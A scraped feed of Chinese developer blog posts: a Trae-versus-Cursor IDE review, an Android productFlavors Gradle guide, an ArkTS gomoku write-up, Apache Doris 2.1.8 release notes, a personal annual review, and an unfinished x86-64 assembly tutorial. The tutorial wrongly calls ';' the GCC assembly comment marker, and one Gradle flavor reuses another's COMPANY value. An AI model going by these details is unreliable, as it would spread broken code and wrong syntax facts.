        currentMousePos = await mouse.getPosition();
      } else if (data.type === 'panmove' && initialTouchPos && currentMousePos) {
        // 计算触摸移动的距离
        const deltaX = data.x - initialTouchPos.x;
        const deltaY = data.y - initialTouchPos.y;

        // 移动鼠标到新位置
        const newX = currentMousePos.x + deltaX;
        const newY = currentMousePos.y + deltaY;
        await mouse.setPosition(new Point(newX, newY));

        // 更新初始位置和当前鼠标位置
        initialTouchPos = { x: data.x, y: data.y };
        currentMousePos = { x: newX, y: newY };
      } else if (data.type === 'tap') {
        await mouse.leftClick();
      }
    } catch (error) {
      console.error('Mouse control error:', error);
    }
  });
});

吐槽一下开发过程中的体验问题


我想将 Hammer.js 和 Socket.io 的文档提供给 AI,但发现缺少了 Cursor 的 @Doc 功能。我希望 Trae 能引入类似的功能,这样 AI 可以明确知道一些库的 API,避免出现幻觉或乱编的情况。这个功能对于开发者来说非常重要。

image.png

写这篇文章的过程中,我想回退到之前的代码并截个图。使用了 Builder 中的鼠标 hover 功能回退到前面的聊天记录,系统提示会修改哪些文件。我以为回退后像 Cursor 那样,右侧的聊天内容还能保留,但结果是聊天记录被清空了,历史记录里也找不到之前的对话。这让我不太清楚是否是 bug,整体体验并不好。有待改进。

这里是 Cursor 的交互逻辑 不清空聊天记录。

image.png

还好代码量不大,我通过编辑器的时间线功能回退回去了,因为 cmd + z 无法恢复到之前的状态。所以建议大家在使用倒退功能时要小心,或者在使用之前先用 git stash 存一下代码,这样会更加保险。

image.png

这里吐槽一下 Trae 总是喜欢想帮我执行 npm run dev,可能是特意做的一个功能吧。我知道你是好心,但其实每个任务都不需要启动它,开发时这个命令通常是一直开着的。相比之下,Cursor 就没有这个问题。

image.png

还发现了一个 bug,我的项目中只有一个 index.js文件我想要引用的时候显示多个,重新加载编辑器还是可复现 image.png

源码自提


github.com/LLmoskk/mob…

总结


Trae作为新产品,相比于Cursor,确实还有一些差距需要弥补。不过,看到越来越多的大厂积极参与下一代IDE的研发,给用户带来了更多的选择,这无疑是一个积极的信号。竞争推动了创新,也促使这些工具不断完善。我作为用户,期待这些IDE能够越来越成熟,功能更加实用,从而提升开发效率。

不过目前来说,Cursor无疑还是处于领先位置,提供了更为成熟和稳定的体验,因此我还是更倾向于使用Cursor。希望Trae能在未来推出更多有竞争力的功能,吸引更多用户尝试和使用

by 代码小学僧 at January 24, 2025 09:12 AM

juejin android

Android productFlavors多版本、多环境打包

序言

项目开发过程中,经常会打不同debug、release版本的测试包。不同的logo、app名字,给不同的公司配置不同的环境变量甚至不同的实现。这时候可以利用在gradle中配置productFlavors实现。

一、productFlavors介绍

产品风味是 Android 开发中的 Gradle 功能,允许您创建应用程序的不同变体,使您的开发过程更易于管理。此功能使您能够在使用相同的核心代码库的同时针对不同目的自定义应用程序。以下是产品口味的详细信息:

为什么使用它们?

对于不同版本:产品风格允许您针对不同版本自定义应用程序。例如,您可以创建免费和高级版本或不同的变体,例如不同的语言或主题。

单一代码库:产品风格使您能够创建不同的变体,同时有效地使用相同的代码库,从而更轻松地管理和维护代码。

简化分发:您可以使用产品风格来简化分发,而不是为不同版本创建单独的项目。这使得更新和维护更加简单。

您可以定制什么?

资源文件:您可以为每个产品风格定义自定义资源文件和布局。例如,您可以包含不同语言或不同布局的文本。

依赖关系:您可以为不同的产品风格指定不同的依赖关系。例如,您可以在一个版本中使用一个库,而在另一版本中使用不同的库。

清单文件:为每个产品风格自定义 AndroidManifest.xml 文件。这对于为不同版本添加不同的权限、功能或活动非常有用。

构建配置:您可以为不同的产品风格定义自定义构建配置。例如,您可以使用不同的服务器 URL 或密钥。

如何使用它们?

。如下:

// app/build.gradle

android {
    namespace 'xxx'
    compileSdk libs.versions.compileSdk.get().toInteger()
    defaultConfig {
        applicationId "com.xxx.xxx.xx"
        minSdk libs.versions.minSdk.get().toInteger()
        targetSdk libs.versions.targetSdk.get().toInteger()
        versionCode 1
        versionName "1.0.0"

        vectorDrawables {
            useSupportLibrary true
        }
    }
    ...

    buildTypes {
        release {
            minifyEnabled true
            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
            //Zipalign优化
            zipAlignEnabled true
            signingConfig signingConfigs.config
            ndk {
                abiFilters 'armeabi-v7a', 'arm64-v8a'
            }
        }

        debug {
            minifyEnabled false
            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
            zipAlignEnabled false
            signingConfig signingConfigs.config
            ndk {
                // You can customize the NDK configurations for each
                // productFlavors and buildTypes.
//                abiFilters 'armeabi', 'x86'
                abiFilters 'arm64-v8a'
            }
            matchingFallbacks = ['release']
        }

    }

    productFlavors {
        flavorDimensions = ["company"]
        companyA {
            dimension "company"
            applicationIdSuffix ".companyA"
            resValue "string", "app_name", "xxx-companyA"
            buildConfigField("String", "COMPANY", "\"companyA\"")
        }
        companyB {
            dimension "company"
            applicationIdSuffix ".companyB"
            resValue "string", "app_name", "xxx-companyB"
            buildConfigField("String", "COMPANY", "\"companyA\"")
        }
    }

    // 打包路径配置
    applicationVariants.all { variant ->
        println("===buildConfig: [${variant.flavorName}_${variant.buildType.name}_${variant.versionName}]")
        variant.outputs.all { output ->
            def outputFile = output.outputFile
            if (outputFile != null && outputFile.name.endsWith('.apk')) {
                outputFileName = "xxx_app_${variant.flavorName}_${variant.buildType.name}_${variant.versionName}_${new Date().format("yyyy-MM-dd")}.apk"
                println("===newOutputFile: ${outputFileName}")
            }
        }
    }
}

dependencies {
    ...
    // 向自定义逻辑发布变体依赖项
    companyAImplementation project(':companyAModule')
    companyBImplementation project(':companyBModule')
}

注意事项:需要删除 res/values/strings.xmlapp_name的资源配置,否则gradle生成的app_name String资源和默认配置的app_name资源冲突会报错。

另外还可给不同的flavor配置 manifestPlaceholders

上面基于不同的buildTypeproductFlavor可以排列组合出多个风格的Build variant。包括如下:

  • companyADebug
  • companyARelease
  • companyBDebug
  • companyBRelease
自定义依赖项解析策略

一个项目可能会依赖于同一个库的两个不同版本,这样会导致依赖项冲突。例如,如果您的项目依赖于模块 A 的版本 1 和模块 B 的版本 2,而模块 A 以传递方式依赖于模块 B 的版本 3,则会出现依赖项版本冲突。

为了解决此冲突,Android Gradle 插件使用以下依赖项解析策略:当插件检测到依赖项关系图中存在同一模块的不同版本时,默认情况下,它会选择版本号最高的一个。

不过,此策略可能并不总是如您所愿。如需自定义依赖项解析策略,请使用以下配置解析任务所需的特定变体依赖项:

  • variant_nameCompileClasspath:此配置包含适用于给定变体编译类路径的解析策略。
  • variant_nameRuntimeClasspath:此配置包含适用于给定变体运行时类路径的解析策略。

Android Gradle 插件包含可用于访问每个变体的配置对象的 getter。因此,您可以使用变体 API 查询依赖项解析,示例所示:

android {
    applicationVariants.all { variant ->
        // Return compile configuration objects of a variant.
        variant.getCompileConfiguration().resolutionStrategy {
        // Use Gradle's ResolutionStrategy API
        // to customize how this variant resolves dependencies.
            ...
        }
        // Return runtime configuration objects of a variant.
        variant.getRuntimeConfiguration().resolutionStrategy {
            ...
        }
        // Return annotation processor configuration of a variant.
        variant.getAnnotationProcessorConfiguration().resolutionStrategy {
            ...
        }
    }
}

创建源代码集

除了可以为各个productFlavorbuildType创建源代码集目录之外,您还可以为产品变种的每个组合创建源代码集目录。例如,您可以创建 Java 源代码并将其添加到 src/companyADebug/java/ 目录中,只有在构建将这两个产品变种组合在一起的变体时,Gradle 才会使用这些源代码。

您为产品变种组合创建的源代码集的优先级高于属于各个产品变种的源代码集。如需详细了解源代码集以及 Gradle 如何合并资源,请参阅关于如何创建源代码集的部分。

Android Gradle 插件提供了一项有用的 Gradle 任务,可向您展示如何整理每个 build 类型、产品变种和 build 变体的文件。例如,任务输出中的以下示例描述了 Gradle 希望在何处能够找到“debug”build 类型的某些文件:

------------------------------------------------------------
Project :app
------------------------------------------------------------

...

debug
----
Compile configuration: debugCompile
build.gradle name: android.sourceSets.debug
Java sources: [app/src/debug/java]
Kotlin sources: [app/src/debug/kotlin, app/src/debug/java]
Manifest file: app/src/debug/AndroidManifest.xml
Android resources: [app/src/debug/res]
Assets: [app/src/debug/assets]
AIDL sources: [app/src/debug/aidl]
RenderScript sources: [app/src/debug/rs]
JNI sources: [app/src/debug/jni]
JNI libraries: [app/src/debug/jniLibs]
Java-style resources: [app/src/debug/resources]

如需查看此输出,请按以下步骤操作:

  1. 点击工具窗口栏中的 Gradle。

  2. 依次前往 MyApplication > Tasks > android,然后双击 sourceSets。

    如需查看 Tasks 文件夹,您必须允许 Gradle 在同步期间构建任务列表。为此,请按照以下步骤操作:

    a. 依次点击 File > Settings > Experimental(在 macOS 设备上,依次点击 Android Studio > Settings > Experimental)。

    b. 取消选中 Do not build Gradle task list during Gradle sync。

  3. Gradle 执行完该任务后,系统会打开 Run 窗口以显示输出。

使用源代码集构建

您可以让源代码集目录包含您希望只针对某些配置打包在一起的代码和资源。例如,如果您要构建“companyADebug”build 变体(“companyA”产品变种和“debug”build type的混合产物),Gradle 会查看这些目录,并为它们指定以下优先级:

  1. src/companyADebug/(build 变体源代码集)
  2. src/debug/(build 类型源代码集)
  3. src/companyA/(产品变种源代码集)
  4. src/main/(主源代码集)

为产品变种组合创建的源代码集必须包含所有变种维度。 例如,build 变体源代码集必须是 build 类型及所有变种维度的组合。不支持合并涉及的文件夹涵盖多个(但并非全部)变种维度的代码和资源。

如果您将多个产品变种组合在一起,那么这些产品变种的优先级由它们所属的变种维度决定。使用 android.flavorDimensions 属性列出变种维度时,属于您列出的第一个变种维度的产品变种的优先级高于属于第二个变种维度的产品变种,依此类推。此外,您为产品变种组合创建的源代码集的优先级高于属于各个产品变种的源代码集。

优先级顺序决定了 Gradle 组合代码和资源时哪个源代码集的优先级更高。由于 demoDebug/ 源代码集目录很可能包含该 build 变体特有的文件,因此如果 demoDebug/ 包含的某个文件在 debug/ 中也进行了定义,Gradle 会使用 demoDebug/ 源代码集中的文件。同样,Gradle 会为 build 类型和产品变种源代码集中的文件指定比 main/ 中的相同文件更高的优先级。在应用以下构建规则时,Gradle 会考虑这种优先级顺序:

  • kotlin/java/ 目录中的所有源代码将一起编译以生成单个输出。
  • 所有清单都将合并为一个清单。按照前面示例中列表项的顺序指定优先级。也就是说,build 类型的清单设置会替换产品变种的清单设置,依此类推。如需了解详情,请参阅清单合并
  • values/ 目录中的文件也会合并在一起。如果两个文件同名,例如存在两个 strings.xml 文件,则按照前面示例中列表项的顺序指定优先级。也就是说,在 build 类型源代码集的文件中定义的值会替换在产品变种的同一文件中定义的值,依此类推。
  • res/asset/ 目录中的资源会打包在一起。如果在两个或更多个源代码集中定义了同名的资源,则按照前面示例中列表项的顺序指定优先级。
  • 在构建应用时,Gradle 会为库模块依赖项随附的资源和清单指定最低优先级。

by 熹哥 at January 24, 2025 08:49 AM

使用 ArkTS 开发五子棋游戏实践

 引言

五子棋是一个经典的棋类游戏,本文将介绍如何使用 HarmonyOS 的 ArkTS 语言开发一个美观且功能完整的五子棋应用。通过这个实例,我们可以学习 ArkTS 的状态管理、组件开发、布局系统等核心概念。

技术架构

1. 状态设计

游戏的核心状态包括:

@State board: Array<Array<number>> = []      // 棋盘状态
@State isBlackTurn: boolean = true           // 当前回合
@State history: Array<ChessMove> = []        // 历史记录
@State gameOver: boolean = false             // 游戏状态

2. 组件结构

项目采用组件化设计,主要包含:

  • Index.ets: 主页面组件,负责游戏整体布局和状态管理
  • ChessBoard.ets: 棋盘组件,处理棋盘渲染和落子逻辑
  • types.ets: 类型定义文件,确保类型安全

核心功能实现

1. 棋盘渲染

使用嵌套的 ForEach 实现 15×15 的棋盘:

ForEach(new Array(this.BOARD_SIZE).fill(0), (_, rowIndex: number) => {
  Row() {
    ForEach(new Array(this.BOARD_SIZE).fill(0), (_, colIndex: number) => {
      Stack() {
        // 棋盘格子和棋子渲染
      }
    })
  }
})

2. 落子逻辑

采用状态更新模式确保视图同步:

private handleMove(row: number, col: number): void {
  if (this.gameOver || this.board[row][col] !== 0) return
  
  let newBoard = this.board.map(row => [...row])
  newBoard[row][col] = this.isBlackTurn ? 1 : 2
  this.board = newBoard
  
  this.history.push({ row, col, isBlack: this.isBlackTurn })
  // ... 胜负判断
}

3. 胜负判定

通过检查四个方向的连子情况:

const directions: Array<Array<number>> = [  [1, 0], [0, 1], [1, 1], [1, -1] // 横、竖、右斜、左斜
]

4. 悔棋功能

通过维护历史记录实现悔棋:

private undo(): void {
  if (this.history.length === 0) return
  const lastMove = this.history.pop()
  if (lastMove) {
    let newBoard = this.board.map(row => [...row])
    newBoard[lastMove.row][lastMove.col] = 0
    this.board = newBoard
    // ... 状态恢复
  }
}

UI 设计亮点

1. 响应式布局

  • 使用 flex 布局确保各个部分比例协调
  • 通过 onAreaChange 动态计算棋盘格子大小

2. 视觉美化

  • 采用木质风格的配色方案
  • 为棋子添加阴影效果
  • 使用圆角和阴影提升质感

3. 状态反馈

  • 动态更新回合显示
  • 按钮状态随游戏进程变化
  • 清晰的胜负提示

技术要点总结

  • 状态管理
  • 使用 @State 和 @Link 装饰器管理组件状态
  • 采用不可变数据模式确保状态更新可靠
  • 组件通信
  • 通过属性绑定实现父子组件通信
  • 使用状态提升管理共享状态
  • 性能优化
  • 合理使用状态更新机制
  • 避免不必要的重渲染
  • 类型安全
  • 使用接口定义确保类型安全
  • 为所有变量添加明确的类型声明

结语

通过这个五子棋项目,我们不仅实现了一个完整的游戏,还展示了 ArkTS 在开发实际应用时的各种优势。项目中的状态管理、组件化、类型系统等实践,都可以作为其他 HarmonyOS 应用开发的参考。

项目地址:gitee.com/liguangshen…

by LiiOuO at January 24, 2025 08:45 AM

oschina news project

Apache Doris 2.1.8 版本正式发布

亲爱的社区小伙伴们,Apache Doris 2.1.8 版本已于 2025 年 01 月 24 日正式发布。 该版本持续在湖仓一体、异步物化视图、查询优化器与执行引擎、存储管理等方面进行改进提升与问题修复,进一步加强系统的性能和稳定性,欢迎大家下载体验。

行为变更

  • 添加环境变量 SKIP_CHECK_ULIMIT 以跳过 BE 进程内关于 ulimit 值校验检查,仅适用于 Docker 快速启动场景中应用。#45267

  • 添加 enable_cooldown_replica_affinity session 变量控制冷热分层下查询选用副本亲和性

  • FE 添加配置restore_job_compressed_serializationbackup_job_compressed_serialization 用于解决 db tablet 数量非常大情况下备份和恢复操作时 FE OOM 的问题,打开之后无法降级

新功能

  • 查询执行引擎:Arrowflight 协议支持通过负载均衡设备访问 BE。 #43281

  • 其他:当前 Lambda 表达式支持捕获外部的列。 #45186

改进提升

湖仓一体

  • Hudi 版本更新至 0.15,并且优化了 Hudi 表的查询规划性能。

  • 优化了 MaxCompute 分区表的读取性能。 #45148

  • 支持会话变量 enable_text_validate_utf8,可以忽略 CSV 格式中的 UTF8 编码检测。#45537

  • 优化在高过滤率情况下,Parquet 文件延迟物化的性能。#46183

异步物化视图

  • 现在支持手动刷新异步物化视图中不存在的分区。#45290

  • 优化了透明改写规划的性能。#44786

查询优化器

  • 提升了 Runtime Filter 的自适应能力。#42640

  • 增加了在 MAX / MIN 聚合函数列上的过滤条件生成原始列过滤条件的能力。#39252

  • 增加了在连接谓词上抽取单测过滤条件的能力。#38479

  • 优化了谓词推导在集合算子上的能力,可以更好的生成过滤谓词。#39450

  • 优化了统计信息收集和使用的异常处理能力,避免在收集异常时产生非预期的执行计划。#43009 #43776 #43865 #42104 #42399 #41729

查询执行引擎

  • Resource group 支持在当前 group 不可用的时候,降级到别的 Group. #44255

  • 优化带 limit 的查询执行使其能够更快的结束,避免多余的数据扫描。#45222

存储管理

  • CCR 支持了更加全面的操作,比如 Rename Table,Rename Column,Modify Comment,Drop View,Drop Rollup 等。

  • 提升了 Broker Load 导入进度的准确性和多个压缩文件导入时的性能。

  • 改进了 Routine Load 超时策略、线程池使用以防止 Routine Load 超时失败和影响查询。

其他

  • Docker 快速启动镜像支持不设置环境参数直接启动,添加环境变量 SKIP_CHECK_ULIMIT 以跳过 start_be.sh 脚本以及 BE 进程内关于 swapmax_map_countulimit 相关校验检查,仅适用于 Docker 快速启动场景中应用。#45269

  • 新增 LDAP 配置型 ldap_group_filter 用于自定义 Group 过滤。#43292

  • 优化了使用 Ranger 时的性能。#41207

  • 修复审计日志中,scan bytes 统计不准的问题。#45167

  • 在 COLUMNS 系统表中能够正确显示列的默认值。#44849

  • 在 VIEWS 系统表中能够正确显示视图的定义。#45857

  • 当前,admin 用户不能被删除。#44751

Bug 修复

湖仓一体

  • Hive

    • 修复无法查询 Spark 创建的 Hive 视图的问题。#43553

    • 修复无法正确读取某些 Hive Transaction 表的问题。#45753

    • 修复 Hive 表分区存在特殊字符时,无法进行正确分区裁剪的问题。#42906

  • Iceberg

    • 修复在 Kerberos 认证环境下,无法创建 Iceberg 表的问题。#43445

    • 修复某些情况下,Iceberg 表存在 dangling delete 情况下,count(*) 查询不准确的问题。#44039

    • 修复某些情况下,Iceberg 表列名不匹配导致查询错误的问题#44470

    • 修复某些情况下,当 Iceberg 表分区被修改后,无法读取的问题#45367

  • Paimon

    • 修复 Paimon Catalog 无法访问阿里云 OSS-HDFS 的问题。#42585

  • Hudi

    • 修复某些情况下,Hudi 表分区裁剪失效的问题。#44669

  • JDBC

    • 修复某些情况下,开始表名大小写不敏感功能后,使用 JDBC Catalog 无法获取表的问题。

  • MaxCompute

    • 修复某些情况下,MaxCompute 表分区裁剪失效的问题。#44508

  • 其他

    • 修复某些情况下,Export 任务导致 FE 内存泄露的问题。#44019

    • 修复某些情况下,无法使用 HTTPS 协议访问 S3 对象存储的问题。#44242

    • 修复某些情况下,Kerberos 认证票据无法自动刷新的问题。#44916

    • 修复某些情况下,读取 Hadoop Block 压缩格式文件出错的问题。#45289

    • 查询 ORC 格式的数据时,不再下推 CHAR 类型的谓词,以避免可能的结果错误。#45484

异步物化视图

  • 修复了当物化视图定义中存在 CTE 时,无法刷新的问题。#44857

  • 修复了当基表增加列后,异步物化视图不能命中透明改写的问题。#44867

  • 修复了当查询中在不同位置包含相同的过滤谓词时,透明改写失败的问题。#44575

  • 修复了当过滤谓词或连接谓词中使用列的别名时,无法透明改写的问题。#44779

索引

  • 修复倒排索引 Compaction 异常处理的问题 #45773

  • 修复倒排索引构建因为等锁超时失败的问题 #43589

  • 修复异常情况下倒排索引写入 Crash 的问题。#46075

  • 修复 Match 函数特殊参数时空指针的问题 #45774

  • 修复 VARIANT 倒排索引相关的问题,禁用 VARIANT 使用索引 v1 格式。#43971 #45179

  • 修复 NGram Bloomfilter Index 设置 gram_size = 65535 时 Crash 的问题。#43654

  • 修复 Bloomfilter Index 计算 DATE 和 DATETIME 不对的问题。#43622

  • 修复 Drop Coloumn 没有自动 Drop Bloomfilter Index 的问题。#44478

  • 减少 Bloomfilter Index 写入时的内存占用。#46047

半结构化数据类型

  • 优化内存占用,降低 VARIANT 数据类型的内存消耗。#43349 #44585 #45734

  • 优化 VARIANT Schema Copy 性能。#45731

  • 自动推断 Tablet Key 时不将 VARIANT 作为 Key。#44736

  • 修复 VARIANT 从 NOT NULL 改成 NULL 的问题。#45734

  • 修复 Lambda 函数类型推断错误的问题。#45798

  • 修复 ipv6_cidr_to_range 函数边界条件 Coredump。#46252

查询优化器

  • 修复了潜在的表读锁互斥导致的死锁问题,并优化了锁的使用逻辑#45045 #43376 #44164 #44967 #45995

  • 修复了 SQL Cache 功能错误的使用常量折叠导致在使用包含时间格式的函数时结果不正确的问题。#44631

  • 修复了比较表达式优化,在边缘情况下可能优化错误,导致结果不正确的问题。#44054 #44725 #44922 #45735 #45868

  • 修复高并发点查审计日志不正确的问题。 #43345 #44588

  • 修复高并发点查遇到异常后持续报错的问题。#44582

  • 修复部分字段 Prepared Statement 不正确的问题。#45732

查询执行引擎

  • 修复了正则表达式和 LIKE 函数在特殊字符时结果不对的问题。#44547

  • 修复 SQL Cache 在切换 DB 的时候结果可能不对的问题。#44782

  • 修复cut_ipv6 函数结果不对的问题。#43921

  • 修复数值类型到 bool 类型 cast 的问题。#46275

  • 修复了一系列 Arrow Flight 相关的问题。#45661 #45023 #43960 #43929

  • 修复了当 hashjoin 的 hash 表超过 4G 时,部分情况结果错误的问题。#46461

  • 修复了 convert_to 函数在中文字符时溢出的问题。#46505

存储管理

  • 修复高并发 DDL 可能导致 FE 启动失败的问题。

  • 修复自增列可能出现重复值的问题。

  • 修复扩容时 Routine Load 不能使用新扩容 BE 的问题。

权限管理

  • 修复使用 Ranger 作为鉴权插件时,频繁访问 Ranger 服务的问题#45645

Others

  • 修复 BE 端开启 enable_jvm_monitor=true 后可能导致的内存泄露问题。#44311

by 来源: 投稿 at January 24, 2025 08:44 AM

juejin article

一个普通人的2024年度总结&2025年度规划

1、2024年度规划达成情况复盘:

2024年对我来说,也是非常非常重要的1年,今年发生了蛮多大事,1月份开始准备卖房,4月份遭遇公司裁员拿了一笔赔偿,6月初开始新工作,6月中房子破价卖出,9月份带娃第一次飞机✈️出行,11月中买到了自己心仪的房子,12月终于转正,元旦前完成装修公司的敲定,1月份完成最终过户,一切尘埃落定。

新工作的节奏很快,加上整年的基调基本一直在看房的路上,感觉这一年实在是太忙了,陪娃的时间还是有点太少了,小朋友长大有时候真的就是一瞬间的事情。2025年希望有更多的时间可以给娃有效的陪伴,可以带娃多做一些有意义的事情。

下面是针对上一年的工作规划做的复盘结果:

💼工作:

1、目标:有一次涨薪

达成情况:年中换工作了,新工作比之前每个月多几百块,算涨薪么😭

2、确定自己的职业发展方向

达成情况:其实本来不是很想继续找AI产品经理的了,感觉这个行业一直在追逐的路上,本来想保住自己的基本盘,往B端数据方向深耕,结果兜兜转转还是留在AI行业了,既然留下了,就好好学习吧~

3、多输出总结:公众号、掘金、小红书,多更新,多思考总结!

整体输出的内容还是太少,掘金发了2篇文章,公众号发了3篇,小红书发了8篇左右。

👑生活:

1、微信阅读目标950小时!(年度阅读时长250小时)

555,下半年没认真读书,总时长才到850小时,年总阅读时长150小时。2025年要加油呀!

2、至少一次属于自己的旅行!

今年旅行很少,没有一次个人旅行

3、极简生活: 衣服尽量走简而精的路线,不轻易购买,购买一件就是可以穿几年的那种衣服!

这个应该算达成了,现在日用品,衣服,基本都是只买自己需要的!

💍理财:

1、理财收益变成正数!

未达成

2、存款增加:20万元!(不换房的前提下)

应该达成了,存款清0,今年完成了一件大事,置换完成✅

👶亲子:

1、多带娃户外活动!除非天气原因,尽量每周都户外至少一次!

应该2周一次户外还是有的

2、带娃亲子旅行2次以上!

达成

3、周末多带娃和其他小朋友一起玩,全年约朋友玩超过10次!

这个后来约了几次,发现还是自己带娃比较方便,和其他小朋友偶尔约一下就行

🏃‍♀️健康:

1、每天走路时间30min以上!

上半年达成,下半年换工作后太忙了,未达成

2、每周最少2次基础运动,比如:跑步或者在家做操!

上半年达成,下半年换工作后太忙了,未达成

2、2025年度规划:

💼工作:

1、认真对待工作,总结积累经验,希望现在的产品可以有一个不错的运营数据;

2、把商业化和coze的两个课程学完,并输出一些文章。

3、继续重新尝试自媒体帐号,看看能不能找到一个合适的赛道。

👑生活:

1、微信阅读年度时长至少150小时,希望年底的时候总时长可以到1000小时;

2、多给自己一些独处,思考的时间;

3、一个人的旅行还是要安排一次;

4、房屋装修这件大事顺利搞定。

👶亲子:

1、有空继续多带娃户外;

2、多带娃逛博物馆,至少看10个博物馆吧;

3、亲子旅行2次以上,明年资金有点紧张,估计只能安排周边不能远途了;

最后附上去年的总结和规划的直达链接吧:juejin.cn/post/731272… 欢迎大家督促监督我!

by 小鱼姐姐 at January 24, 2025 08:39 AM

juejin backend

面试官:你会不会汇编?啊?我会不会编?

大家好,我是坤虫🐛。今天我们一起来分析一个简单的汇编程序,这将帮助我们深入了解 CPU、寄存器、栈是如何协调进行计算的。曾经的我对 CPU 的计算过程、寄存器、函数调用的原理感到很困惑,但通过学习和实践,终于弄明白了。希望这篇文章能帮助你更好地理解这些原理!

我的开发环境

GCC 的版本是 7.5.0,CPU 硬件架构是 64 位。

[root@kundebug /tmp]$ gcc -v
使用内建 specs。
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/local/gcc-7.5.0/libexec/gcc/x86_64-redhat-linux/7.5.0/lto-wrapper
目标:x86_64-redhat-linux
配置为:../configure --prefix=/usr/local/gcc-7.5.0 --mandir=/usr/local/gcc-7.5.0/share/man --infodir=/usr/local/gcc-7.5.0/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-linker-hash-style=gnu --enable-languages=c,c++,go --enable-plugin --enable-initfini-array --disable-libgcj --enable-graphite --enable-gnu-indirect-function --with-tune=generic --build=x86_64-redhat-linux --disable-multilib
线程模型:posix
gcc 版本 7.5.0 (GCC)
[root@kundebug /tmp]$ uname  -m
x86_64
[root@kundebug /tmp]$

C语言示例代码

保存在 test_asm.c 文件中

int add_a_and_b(int a, int b) {
    return a + b;
}

int main() {
    int x = 3;
    int y = 4;
    return add_a_and_b(x, y);
}

编译生成汇编代码

执行如下编译命令,就可以得到汇编代码,保存在 test_asm.s 文件中:

[root@kundebug /tmp]$ gcc -S test_asm.c
[root@kundebug /tmp]$ ll
总用量 8.0K
-rw-r--r-- 1 root root 128 2025/01/23 13:15:46 test_asm.c
-rw-r--r-- 1 root root 851 2025/01/23 13:17:09 test_asm.s
[root@kundebug /tmp]$ cat test_asm.s
.file"test_asm.c"
.text
.globladd_a_and_b
.typeadd_a_and_b, @function
add_a_and_b:
.LFB0:
.cfi_startproc
pushq%rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq%rsp, %rbp
.cfi_def_cfa_register 6
movl%edi, -4(%rbp)
movl%esi, -8(%rbp)
movl-4(%rbp), %edx
movl-8(%rbp), %eax
addl%edx, %eax
popq%rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.sizeadd_a_and_b, .-add_a_and_b
.globlmain
.typemain, @function
main:
.LFB1:
.cfi_startproc
pushq%rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq%rsp, %rbp
.cfi_def_cfa_register 6
subq$16, %rsp
movl$3, -4(%rbp)
movl$4, -8(%rbp)
movl-8(%rbp), %edx
movl-4(%rbp), %eax
movl%edx, %esi
movl%eax, %edi
calladd_a_and_b
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.sizemain, .-main
.ident"GCC: (GNU) 7.5.0"
.section.note.GNU-stack,"",@progbits
[root@kundebug /tmp]$

直接使用 gcc -S 编译生成的汇编代码中会有一些辅助调试的信息。

像上面的.LFB0.LFE0.LFB1.LFE1符号是由编译器自动生成的标签,主要用于标识函数的开始和结束。

.LFB0(Local Function Begin 0) .LFE0(Local Function End 0)

另外还有一些编译器生成的以 .cfi_为开始的标签,比如:

.cfi_startproc .cfi_def_cfa_offset .cfi_offset .cfi_def_cfa_register .cfi_def_cfa .cfi_endproc

这些都是编译器生成的伪指令,不影响程序的执行,主要是用于向调试器(比如 gdb)提供函数栈和寄存器相关的信息,支撑调试器的工作的。

我们希望得到一个比较干净的汇编代码来分析, 所以可以在编译时增加选项 -fno-asynchronous-unwind-tables, 这个选项是禁用异步展开表(Unwind Tables)的意思。

Unwind Tables,展开表。它是一组数据结构,用来支持程序在运行时进行堆栈展开(stack unwinding),堆栈展开是错误处理和调试的重要机制。

这样一来就不会再有这些标签了。

[root@kundebug /tmp]$ gcc -fno-asynchronous-unwind-tables -S test_asm.c && cat test_asm.s
.file"test_asm.c"
.text
.globladd_a_and_b
.typeadd_a_and_b, @function
add_a_and_b:
pushq%rbp
movq%rsp, %rbp
movl%edi, -4(%rbp)
movl%esi, -8(%rbp)
movl-4(%rbp), %edx
movl-8(%rbp), %eax
addl%edx, %eax
popq%rbp
ret
.sizeadd_a_and_b, .-add_a_and_b
.globlmain
.typemain, @function
main:
pushq%rbp
movq%rsp, %rbp
subq$16, %rsp
movl$3, -4(%rbp)
movl$4, -8(%rbp)
movl-8(%rbp), %edx
movl-4(%rbp), %eax
movl%edx, %esi
movl%eax, %edi
calladd_a_and_b
leave
ret
.sizemain, .-main
.ident"GCC: (GNU) 7.5.0"
.section.note.GNU-stack,"",@progbits
[root@kundebug /tmp]$

你可能观察到了,这份汇编代码中使用到的指令有:pushq movq subq movl。 这是 ATT 格式的汇编代码。ATT 格式也是 GCC、OBJDUMP 等工具的默认格式。

而 Microsoft 的工具和 Intel 的文档,汇编代码都是 Intel 格式的。 这两种格式不太相同:

  • Intel 格式:mov
  • ATT 格式:movq

当然,GCC 也可以产生 Intel 格式的汇编代码,只需要带上参数 -masm=intel。

Pasted image 20250123190905.png

一份干净的汇编代码

接下来,我给这份汇编代码,增加注释和序号,方便我们按照序号来分析。 不同的汇编器,注释符号不一样,有使用英文分号;做为注释符号的,有使用井号#作为注释符号。我这里使用的是 GCC 的工具链,汇编代码中的注释,是以英文分号;做为注释符号。

add_a_and_b:
    pushq   %rbp            ; (11)
    movq    %rsp, %rbp      ; (12)
    movl    %edi, -4(%rbp)  ; (13)
    movl    %esi, -8(%rbp)  ; (14)
    movl    -4(%rbp), %edx  ; (15)
    movl    -8(%rbp), %eax  ; (16)
    addl    %edx, %eax      ; (17)
    popq    %rbp            ; (18)
    ret                     ; (19)
main:
    pushq   %rbp            ; (1)
    movq    %rsp, %rbp      ; (2)
    subq    $16, %rsp       ; (3)
    movl    $3, -4(%rbp)    ; (4)
    movl    $4, -8(%rbp)    ; (5)
    movl    -8(%rbp), %edx  ; (6)
    movl    -4(%rbp), %eax  ; (7)
    movl    %edx, %esi      ; (8)
    movl    %eax, %edi      ; (9)
    call    add_a_and_b     ; (10)
    leave                   ; (20)
    ret                     ; (21)

逐行分析

(1) pushq %rbp

